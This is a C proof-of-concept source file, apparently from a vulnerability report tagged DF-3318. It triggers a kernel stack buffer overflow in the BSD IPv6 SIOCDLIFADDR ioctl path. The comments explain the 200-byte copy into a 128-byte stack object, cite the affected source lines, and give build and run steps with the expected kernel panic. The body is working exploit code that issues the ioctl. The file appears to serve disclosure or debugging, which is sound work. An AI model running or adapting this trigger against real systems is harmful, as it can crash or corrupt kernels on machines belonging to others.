DF-3318 / delete.c
/* * DF-3318 write-side trigger: run as ROOT (SIOCDLIFADDR is privileged). * * in6_lifaddr_ioctl() SIOCDLIFADDR path does * * struct in6_aliasreq ifra; // 128-byte stack local * bcopy(&ia->ia_dstaddr, &ifra.ifra_dstaddr, // offset 44 * ia->ia_dstaddr.sin6_len); // = 200 (crafted) * * (sys/netinet6/in6.c:1598-1602) -> writes 200 bytes into a 128-byte * stack object => 116 bytes of kernel stack smashed with kernel heap * contents read from beyond ia_dstaddr (OOB read) -- kernel stack * buffer overflow (CWE-787). * * Build: cc -O -o delete delete.c * Run: ./delete gif0 (as root; expect panic or corruption) */ #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/sockio.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> int main(int argc, char **argv) { struct if_laddrreq iflr; struct sockaddr_in6 *sin6; int s; const char *ifname = (argc > 1) ? argv[1] : "gif0"; s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } memset(&iflr, 0, sizeof(iflr)); strlcpy(iflr.iflr_name, ifname, sizeof(iflr.iflr_name)); sin6 = (struct sockaddr_in6 *)&iflr.addr; sin6->sin6_len = sizeof(*sin6); sin6->sin6_family = AF_INET6; inet_pton(AF_INET6, "2001:db8::1", &sin6->sin6_addr); iflr.prefixlen = 128; iflr.flags = IFLR_PREFIX; printf("issuing SIOCDLIFADDR (expect kernel stack smash)...\n"); fflush(stdout); if (ioctl(s, SIOCDLIFADDR, &iflr) < 0) { printf("SIOCDLIFADDR returned error: %s\n", strerror(errno)); return (1); } printf("SIOCDLIFADDR returned success (no crash)\n"); return (0); } |